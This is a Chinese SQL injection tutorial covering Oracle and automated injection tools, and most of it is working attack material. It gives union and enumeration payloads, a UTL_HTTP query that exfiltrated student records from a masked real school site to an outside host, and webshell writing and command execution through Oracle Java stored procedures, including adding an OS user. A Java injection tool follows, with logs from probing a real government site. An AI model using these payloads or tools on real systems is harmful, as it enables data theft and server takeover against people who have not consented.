攻击JavaWeb应用[4]-SQL注入[2]

园长 · 2013/07/18 17:23php

注:这一节主要是介绍Oracle和SQL注入工具相关,本应该是和前面的Mysql一块儿可是因为章节过长了无法看,因此就分开了。


0x00 Oracle


Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。html

Oracle对于MYSQL、MSSQL来讲意味着更大的数据量,更大的权限。这一次咱们依旧使用上面的代码,数据库结构平移到Oracle上去,数据库名用的默认的orcl,字段"corps_desc" 从text改为了VARCHAR2(4000),JSP内的驱动和URL改为了对应的Oracle。  enter image description herejava

Jsp页面代码:  enter image description heremysql

开始注入:web

Union +order by 永远都是最快捷最实用的,而盲注什么的太费时费力了。sql

依旧提交order by 去猜想显示当前页面所用的SQL查询了多少个字段,也就是确认查询字段数。chrome

分别提交http://localhost/SqlInjection/index.jsp?id=1 AND 1=1?id=1 AND 1=12 获得的页面明显不一致,1=12页面没有任何数据,即1=12为false没查询到任何结果。  enter image description hereshell

http://localhost/SqlInjection/index.jsp?id=1 AND 1=12
复制代码

enter image description here数据库

提交:http://localhost/SqlInjection/index.jsp?id=1 ORDER BY 4-- 页面正常,提交:?id=1 ORDER BY 5--报错说明字段数确定是4。apache

Order by 5爆出的错误信息:  enter image description here

使用union 进行联合查询:

Oracle的dual表:

dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录,在Oracle注入中用途可谓普遍。

Oracle union 查询 tips:

Oracle 在使用union 查询的跟Mysql不同Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比较严格的类型要求。也就是说你union select的要和前面的

SELECT * from "corps" where "id" = 1 
复制代码

当中查询的字段类型一致。咱们已知查询的第二个字段是corps_name,对应的数据类型是:VARCHAR2(100),也就是字符型。当咱们传入整型的数字时就会报错。好比当咱们提交union查询时提交以下SQL注入语句:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,2,NULL,NULL FROM dual--
复制代码

enter image description here

Oracle当中正确的注入方式用NULL去占位在咱们未知哪一个字段是什么类型的时候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL FROM dual--
复制代码

当已知第一个字段是整型的时候:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT 1,NULL,NULL,NULL FROM dual--
复制代码

SQL执行后的占位效果:  enter image description here

根据咱们以前注入Mysql的经验,咱们如今要尽量多的去获取服务器信息和数据库,好比数据库版本、权限等。

在讲Mysql注入的时候已经说道要合理利用工具,在Navicat客户端执行select * from session_roles结果:  enter image description here

Oracle查询分页tips:

不得不说Oracle查询分页的时候没有Mysql那么方便,Oracle可不能limit 0,1而是经过三层查询嵌套的方式实现分页(查询第一条数据“>=0<=1”取交集不就是1么?我数学5分党,若是有关数学方面的东西讲错了各位莫怪):

SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0 
复制代码

enter image description here

在Oracle里面没有相似于Mysql的group_concat,用分页去取数据,不过有更加简单的方法。

用UNION SELECT 查询:
http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32)) FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)--
复制代码

enter image description here

不过我得告诉你,UNION SELECT查询返回的是多个结果,而在正常的业务逻辑当中咱们取一条新闻是直接放到对应的实体当中的,好比咱们查询的wooyun的厂商表:corps,那么咱们作查询的颇有多是抽象出一个corps对象,在DAO层取获得单个的参数结果集,若是有多个要么报错,要么取出第一条。而后再到controller层把查询的结果放到请求里面。最终在输出的时候天然也就只能拿到单个的corps实体,这也是视图层只作展现把业务逻辑和视图分开的好处之一,等讲到MVC的时候试着给不懂的朋友解释一下。

再来看一下咱们丑陋的在页面展现数据的代码:  enter image description here

接下来的任务就是收集信息了,上面咱们已经收集到数据库全部的用户的用户名和咱们当前用户的权限。

获取全部的数据库表:

http://localhost/SqlInjection/index.jsp?id=1 UNION ALL SELECT NULL, NULL, NULL, NVL(CAST(OWNER AS VARCHAR(4000)),CHR(32))||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||CHR(45)||NVL(CAST(TABLE_NAME AS VARCHAR(4000)),CHR(32)) FROM SYS.ALL_TABLES WHERE OWNER IN (CHR(67)||CHR(84)||CHR(88)||CHR(83)||CHR(89)||CHR(83),CHR(69)||CHR(88)||CHR(70)||CHR(83)||CHR(89)||CHR(83),CHR(77)||CHR(68)||CHR(83)||CHR(89)||CHR(83),CHR(79)||CHR(76)||CHR(65)||CHR(80)||CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(67)||CHR(79)||CHR(84)||CHR(84),CHR(83)||CHR(89)||CHR(83),CHR(83)||CHR(89)||CHR(83)||CHR(84)||CHR(69)||CHR(77),CHR(87)||CHR(77)||CHR(83)||CHR(89)||CHR(83))—
复制代码

链接符我用的是-转换成编码也就是45  enter image description here

已列举出全部的表名:  enter image description here

当UNION ALL SELECT 不起做用的时候咱们能够用上面的Oracle分页去挨个读取,缺点就是效率没有UNION ALL SELECT高。

信息版本获取:

http://localhost/SqlInjection/index.jsp?id=1 and 1=2 UNION SELECT NULL, NULL, NULL, (select banner from sys.v_$version where rownum=1) from dual—
复制代码

enter image description here

获取启动Oracle的用户名:

select SYS_CONTEXT ('USERENV','OS_USER') from dual;
复制代码

服务器监听IP:

select utl_inaddr.get_host_address from dual;
复制代码

服务器操做系统:

select member from v$logfile where rownum=1;
复制代码

当前链接用户:

select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;
复制代码

获取当前链接的数据库名:

select SYS_CONTEXT ('USERENV', 'DB_NAME') from dual;
复制代码

关于获取敏感的表和字段说明:

一、获取全部的字段schema:

select * from user_tab_columns
复制代码

二、获取当前用户权限下的全部的表:

SELECT * FROM  User_tables
复制代码

上述SQL经过添加Where条件就能获取到常见注入的敏感信息,请有心学习的同窗按照上面的MYSQL注入时经过information_schema获取敏感字段的方式去学习user_tab_columns和FROM User_tables表。  enter image description hereenter image description here

Oracle高级注入:

一、友情备份

在讲Mysql的时候提到过怎么在注入点去构造SQL语句去实现友情备份,在去年注入某大牛学校的教务处的时候我想到了一个简单有效的SQL注入点友情备份数据库的方法。没错就是利用Oracle的utl_http包。Oracle的确是很是的强大,utl_http就能过直接对外发送Http请求。咱们能够利用utl_http去SQL注入,那么咱们同样能够利用utl_http去作友情备份。

构建如下SQL注入语句:

http://60.xxx.xx.131/xxx/aao_66/index.jsp?fid=1+and+'1'in(SELECT+UTL_HTTP.request('http://xxx.cn:8080/xxxx/mysql.jsp?data='||ID||'----'||USERID||'----'||NAME||'----'||RELATION||'----'||OCCUPATION||'----'||POSITION||'----'||ASSN||UNIT||'----'||'----'||TEL)+FROM+STU_HOME)
复制代码

UTL_HTTP 会带着查询数据库的结果去请求咱们的URL,也就是我注入点上写的URL。Tips:UTL_HTTP是一条一条的去请求的,因此会跟数据库保持一个长链接。而数据量过大的话会致使数据丢失,若是想完整的友情备份这种方法并非特别可行。只用在浏览器上请求这个注入点Oracle会自动的把本身的裤子送上门来那种感受很是的好。

enter image description here

使用UTL_HTTP友情备份效果图:  enter image description here

utl_http在注入的时候怎么去利用同理,因为我也没有去深刻了解utl_http或许他还有其余的更实用的功能等待你去发现。

使用UTL_FILE友情备份:

建立目录:

create or replace directory cux_log_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/ROOT/selina';  
复制代码

导出数据到文件:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('CUX_LOG_DIR','emp.txt','w');
        for rec in (select * from admin) loop
            utl_file.put_line(frw,rec.id||','||rec.password);
        end loop;
        utl_file.fclose(frw);
    end;
/
复制代码

效果图:  enter image description here

GetShell

以前的各类Oracle文章彷佛都提过怎样去getshell,其实方法却是有的。可是在Java里面你要想拿到WEB的根路径比那啥还难。可是PHP什么的就不同了,PHP里面爆个路径彻底是屡见不鲜。由于数据库对开发语言的无关系,因此或许咱们在某些场合下如下的getshell方式也是挺不错的。

在有Oracle链接权限没有webshell时候经过utl_file获取shell

(固然用户必须的具备建立DIRECTORY的权限):

enter image description here

执行:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
复制代码

固然了as后面跟的确定是你的WEB路径。

执行如下SQL语句:

建立目录:

create or replace directory getshell_dir as 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/';
复制代码

写入shell到指定目录:注意directory在这里必定要大写:

declare
    frw   utl_file.file_type;
    begin
        frw:=utl_file.fopen('GETSHELL_DIR','yzmm.jsp','w');
        utl_file.put_line(frw,'hello world.');
        utl_file.fclose(frw);
    end;
/
复制代码

enter image description here

在低权限下getshell:  enter image description here

执行如下SQL建立表空间:

create tablespace shell datafile 'E:/soft/apache-tomcat-7.0.37/webapps/SqlInjection/shell.jsp' size 100k nologging ;
CREATE TABLE SHELL(C varchar2(100)) tablespace shell;
insert into SHELL values('hello world');
commit;
alter tablespace shell offline;
drop tablespace shell including contents;
复制代码

这方法是能写文件,可是好像没发现个人hello world,难道是我打开方式不对?

Oracle SQLJ编译执行Java代码:

众所周知,因为sun那只土鳖不争气竟然被oracle给收购了。

不过对Oracle来讲的确是有有很多优点的。

SQLJ是一个与Java编程语言紧密集成的嵌入式SQL的版本,这里"嵌入式SQL"是用来在其宿主通用编程语言如C、C++、Java、Ada和COBOL)中调用SQL语句。SQL翻译器用SQLJ运行时库中的调用来替代嵌入式SQLJ语句,该运行时库真正实现SQL操做。这样翻译的结果是获得一个可以使用任何Java翻译器进行编译的Java源程序。一旦Java源程序被编译,Java执行程序就可在任何数据库上运行。SQLJ运行环境由纯Java实现的小SQLJ运行库(小,意指其中包括少许的代码)组成,该运行时库转而调用相应数据库的JDBC驱动程序。

SQLJ能够这样玩:首先建立一个类提供一个静态方法:  enter image description here

其中的getShell是咱们的方法名,p和才是参数,p是路径,而c是要写的文件内容。在建立Java存储过程的时候方法类型必须是静态的static

执行如下SQL建立Java储存过程:

create or replace and compile
java source named "getShell"
as public class GetShell {public static int getShell(String p, String c) {int RC = -1;try {new java.io.FileOutputStream(p).write(c.getBytes());RC = 1;} catch (Exception e) {e.printStackTrace();}return RC;}}
复制代码

建立函数:

create or replace
function getShell(p in varchar2, c in varchar2) return number
as
language java
name 'util.getShell(java.lang.String, java.lang.String) return Integer';
复制代码

建立存储过程:

create or replace procedure RC(p in varChar, c in varChar)
as
x number;
begin
x := getShell(p,c);
end;
复制代码

授予Java权限:

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
grant javauserpriv to system;
复制代码

写webshell:

exec :x:=getShell('d:/3.txt','selina');
复制代码

enter image description here

SQLJ执行cmd命令:

方法这里和上面几乎大同小异,同样的提供一个静态方法,而后去建立一个存储过程。而后调用Java里的方法去执行命令。

建立Java存储过程:

create or replace and compile java source named "Execute" as   
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Execute {
    public static void executeCmd(String c) {
        try {
            String l="",t;
            BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(c).getInputStream(),"gbk"));
            while((t=br.readLine())!=null){
                l+=t+"\n";
            }
            System.out.println(l);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
复制代码

建立存储过程executeCmd:

create or replace procedure executeCmd(c in varchar2)
as
language java name 'Execute.executeCmd(java.lang.String)';
复制代码

执行存储过程:

exec executeCmd('net user selina 123 /add');
复制代码

enter image description here

上面提供的命令执行和getshell建立方式对换一下就能回显了,若是好不清楚怎么让命令执行后回显能够参考:

hi.baidu.com/xpy_home/it…

一个不错的SQLJ的demo(犀利的 oracle 注入技术)。

huaidan.org/archives/24…

0x01 自动化的SQL注入工具实现


经过上面咱们对数据库和SQL注入的熟悉,如今能够自行动手开发注入工具了吧?

好久之前很是粗糙的写了一个SQL注入工具类,就看成demo给你们作个演示了。

仅提供核心代码,案例中的gov网站请勿很是攻击!

简单的SQL Oder by 注入实现的方式核心代码:

一、分析

URLpublic static void AnalysisUrls(String site) throws Exception
复制代码

这个方法主要是去分析URL的组成是否静态化等。

二、检测是否存在:

这个作的粗糙了些,只是经过请求提交不一样的SQL注入语句去检测页面返回的状况:

/**
     * 分析SQL参数是否存在注入
     * @param str
     */
    public static void  AnalysisUrlDynamicParamSqlInjection(String str[]) {
        Map<String,Object> content,content2;
        sqlKey = new ArrayList<Object>();
        content = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包
        int len1 = content.get("content").toString().length();//原始请求的response长度
        boolean typeIsNumber = false;
        String c1[] = {"'","-1",")\"\"\"\"\"()()",")+ANd+3815=3835+ANd+(1471=1471",") ANd+9056=9056+ANd+(9889=9889"," ANd+6346=6138 "," ANd+9056=9056"};//须要检查的对象
        for (int i = 0; i < str.length; i++) {
            typeIsNumber = StringUtil.isNotEmpty(str[i].split("="))&&StringUtil.isNum(str[i].split("=")[1])?true:false;
            for (int j = 0; j < c1.length; j++) {
                content2 = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter.replace(str[i], str[i].split("=")[0]+"="+str[i].split("=")[1]+c1[j]));
                if (len1 != content2.get("content").toString().length()||(Integer)content2.get("status")!=200) {
                    existsInjection = true;
                    sqlKey.add(str[i]);
                    break ;
                }
            }
        }
        if (existsInjection) {
//              System.out.println(existsInjection?"Site:"+url+" 可能存在"+(typeIsNumber?"int":"String")+"型Sql注入"+"SQL注入.":"Not Found.");
            getSelectColumnCount(str);
            getDatabaseInfo();
        }
    }
复制代码

检测过程主要发送了几回请求,一次正常的请求和N次带有SQL注入的请求。若是SQL注入的请求和正常请求的结果不一致(有不可控因素,好比SQLMAP的实现方式就有去计算页面是否稳定,从而让检测出来的结果更加准确)就多是存在SQL注入。

日志以下:

url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148'
url:http://www.tchjbh.gov.cn:80//news_display.php
param:id=148
复制代码

获取字段数主要是经过:

/**
     * 获取查询字段数
     * @param str
     */
    public static int getSelectColumnCount(String str[]){
        Map<String,Object> sb = HttpHelper.sendGet(protocol+"://"+schema+":"+port+"/"+filesIndex+"/"+file,parameter);//原始的请求包
        int len1 = sb.get("content").toString().length();//原始请求的response长度
        int count = -1;
        for (Object o : sqlKey) {
            count = getSbCount(o.toString(), len1);//计算字段
        }
        return count;
    }

/**
     *获取order by 字段数
     * @param key
     * @param len1
     * @return
     */
    public static int getSbCount(String key,int len1){
        System.out.println("-----------------------end:"+end+"-----------------------------");
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
        if (1 == end|| len1==((String)sb.get("content")).length()&&200==(Integer)sb.get("status")) {
            System.out.println("index:"+end);
            start = end;
            for (int i = start; i < 2*start+1; i++) {
                System.out.println("************开始精确匹配*****************");
                Map<String,Object> sb2 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+end+"+%23"));
                Map<String,Object> sb3 = HttpHelper.sendGet(uri, parameter.replace(key, key+"+orDer+By+"+(end+1)+"+%23"));
                if (((String)sb3.get("content")).length()!=((String)sb2.get("content")).length()&&200==(Integer)sb2.get("status")) {
                    System.out.println("order by 字段数为:"+end);
                    sbCount = end;//设置字段长度为当前检测出来的长度
                    return index = end;
                }else {
                    end++;
                }
            }
        }else {
            end = end/2;
            getSbCount(key, len1);
        }
        return index;
    }
复制代码

利用检测是否存在SQL注入的原理一样能过检测出查询的字段数。咱们经过二分去order一个by 一个数而后去请求分析页面一致性。而后不停的去修改数值最终结果相等便可得到字段数。上面的分析的代码挺简单的,有兴趣的同窗本身去看。日志以下:

************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+15+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+16+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+17+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+18+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+19+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+20+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
************开始精确匹配*****************
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+21+%23
url:http://www.tchjbh.gov.cn/news_display.php
param:id=148+orDer+By+22+%23
order by 字段数为:21
skey:id=148
复制代码

在知道了字段数后咱们就能够经过构建关键字的方式去获取SQL注入查询的结果,咱们的目的无外乎就是不停的递交SQL注入语句,把咱们想要获得的数据库的信息展现在页面,而后咱们经过自定义的关键字去取回信息到本地:

/**
     * 测试,获取数据库表信息
     */
    public static void getDatabaseInfo(){
        String skey = sqlKey.get(0).toString();
        System.out.println("skey:"+skey);
        StringBuilder union = new StringBuilder();
        for (int i = 0; i < sbCount; i++) {
            union.append("concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),");
        }
        Map<String,Object> sb = HttpHelper.sendGet(uri, parameter.replace(skey, skey+("-1+UnIon+SeleCt+"+(union.delete(union.length()-1, union.length()))+"%23")));
        String rs = ((String)sb.get("content"));
        String user = rs.substring(rs.lastIndexOf("[user]")+6,rs.lastIndexOf("[/user]"));
        String version = rs.substring(rs.lastIndexOf("[version]")+9,rs.lastIndexOf("[/version]"));
        String database = rs.substring(rs.lastIndexOf("[database]")+10,rs.lastIndexOf("[/database]"));
        System.err.println("user:"+user);
        System.err.println("version:"+version);
        System.err.println("database:"+database);
    }
复制代码

代码执行的日志:

url:http://www.tchjbh.gov.cn/news_display.php
param:id=148-1+UnIon+SeleCt+concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]'),concat('[mjj]','[version]',version(),'[/version]','[user]',user(),'[/user]','[database]',database(),'[/database]','[/mjj]')%23
user:[email protected]
version:5.1.56-community
database:tchjbh
复制代码


0x02 模拟SQL注入分析注入工具原理


下面这个演示是针对想本身拓展上面写的SQL注入工具的同窗。此次我才用的是PHP语言去弄清SQL注入工具的具体实现。数据库采用的是wordpress的结构,数据库结构以下,建议在本地先安装好wordpress任意版本:

enter image description here

代码以下:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<style>
    .main{margin:0 auto;width:980px;border:1px dashed }
    .title{line-height:25px; text-align:center; font-size:18px; font-weight:500}
    pre{text-indent: 2em; margin:20px auto 10px 20px;}
</style>
<title></title>
</head>
<body>
<div class="main">
<?php
    extract($_GET);//to Map
    if(!empty($id)){
        $con = mysql_connect("localhost","root","111111");//链接数据库
        $db_selected = mysql_select_db("wps",$con);//选择数据库
        mysql_query("SET NAMES 'GBK'"); //设置编码
        $sql = "SELECT * from wps_posts where ID = ".$id;//查询文章语句
        echo  "<font color=red>".$sql."</font>";//打印SQL

        /*截取SQL注入工具的SQL*/
         $paths="getsql.txt";//定义要生成的html路径
         $handles=fopen($paths,"a");//以可写方式打开路径
         fwrite($handles,$sql."\t\t\n\n\n");//写入内容
         fclose($handles);//关闭打开的文件

        $result = mysql_query($sql,$con);//执行查询
        /*结果遍历*/
        while ($row=mysql_fetch_array($result)) {
            echo  "<div class=title>".$row['post_title']."</div>";//把结果输出到界面
            echo  "<pre>".$row['post_content']."</pre>";//文章内容
        }
        mysql_close($con);//关闭数据库链接
    }
?>
</div>
</body>
</html>
复制代码

创建好数据库和表以后访问(因为我采用的是本身的wp博客,全部有大量的测试数据若是没有数据建议安装个wordpress方便之后的测试):  enter image description here

SQL注入测试:

enter image description here

让咱们来看下m4xmysql究竟在SQL注入点提交了那些数据,点击start咱们的PHP程序会自动在同目录下生成一个getsql.txt打开后发现咱们截获到以下SQL:

enter image description here

enter image description here

看起来不算多,由于我没有自动换行,以上是在获取数据库相关信息。

让我来带着你们翻译这些SQL都作了些什么:

/*检测该URL是否存在SQL注入*/
SELECT * from wps_posts where ID = 739 and 1=0      
SELECT * from wps_posts where ID = 739 and 1=1      

/*这条sql开始查询的字段数,请注意是查询的字段数而不是表的字段数!*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d)--

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d)--       

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d)--     
/*........................省去其中的无数次字段长度匹配尝试................................*/

/*匹配出来SELECT * from wps_posts where ID = 739一共查询了10个字段*/
/*那么他是怎么判断出字段数10就是查询的长度的呢?答案很简单提交如下SQL占位10个页面显示正常而前面提交的都错误因此获得的数量天然就是10了。获取请求的http status或许应该就好了*/

SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b68345d,0,0x5b2f68345d),concat(0x5b68345d,1,0x5b2f68345d),concat(0x5b68345d,2,0x5b2f68345d),concat(0x5b68345d,3,0x5b2f68345d),concat(0x5b68345d,4,0x5b2f68345d),concat(0x5b68345d,5,0x5b2f68345d),concat(0x5b68345d,6,0x5b2f68345d),concat(0x5b68345d,7,0x5b2f68345d),concat(0x5b68345d,8,0x5b2f68345d),concat(0x5b68345d,9,0x5b2f68345d),concat(0x5b68345d,10,0x5b2f68345d),concat(0x5b68345d,11,0x5b2f68345d),concat(0x5b68345d,12,0x5b2f68345d),concat(0x5b68345d,13,0x5b2f68345d),concat(0x5b68345d,14,0x5b2f68345d),concat(0x5b68345d,15,0x5b2f68345d),concat(0x5b68345d,16,0x5b2f68345d),concat(0x5b68345d,17,0x5b2f68345d),concat(0x5b68345d,18,0x5b2f68345d),concat(0x5b68345d,19,0x5b2f68345d),concat(0x5b68345d,20,0x5b2f68345d),concat(0x5b68345d,21,0x5b2f68345d),concat(0x5b68345d,22,0x5b2f68345d)--
复制代码

以上的SQL完成了注入点(http://localhost/Test/1.php?id=739执行的SELECT * from wps_posts where ID = 739)的类型、是否存在和字段数量的检测 里面有许多的0x5b2f68345d转换过来其实就是占位符,为了让工具扒下源代码后可以在页面类找到具备特殊意义的字符并进行截取:

enter image description here  若是你足够聪明或仔细会发现他这样写有点浪费资源,由于他的order 是从1一直递增到争取的长度的假如字段特别长(通常状况下仍是不多出现的)可能要执行几十个甚至是更多的HTTP请求,若是这里使用二分法或许能够很好的解决吧。

咱们接着往下看(仍是点击start后发送的请求):

/*获取数据库相关信息*/
SELECT * from wps_posts where ID = 739 and 1=0 union select concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d),concat(0x5b64625d,database(),0x5b2f64625d,0x5b75735d,user(),0x5b2f75735d,0x5b765d,version(),0x5b2f765d)--
复制代码

这玩意究竟是什么神秘的东西呢?咱们不妨在Navicat和FireFox里面瞅瞅:

enter image description here

FireFox执行的结果:

enter image description here

让咱们来还原上面的那句废话:

select file_priv from mysql.user where user=root
复制代码

enter image description here

上面很长很臭的SQL翻译过来就这么短的一句查询的结果就一个获得的信息就是:

有没有file_priv权限。而file_priv应该就是文件读写权限了(没看手册,应该八九不离十)。若是不是Y是N那就不能load_file 、into outfile、dumpfile咯。

接着看下一条SQL:

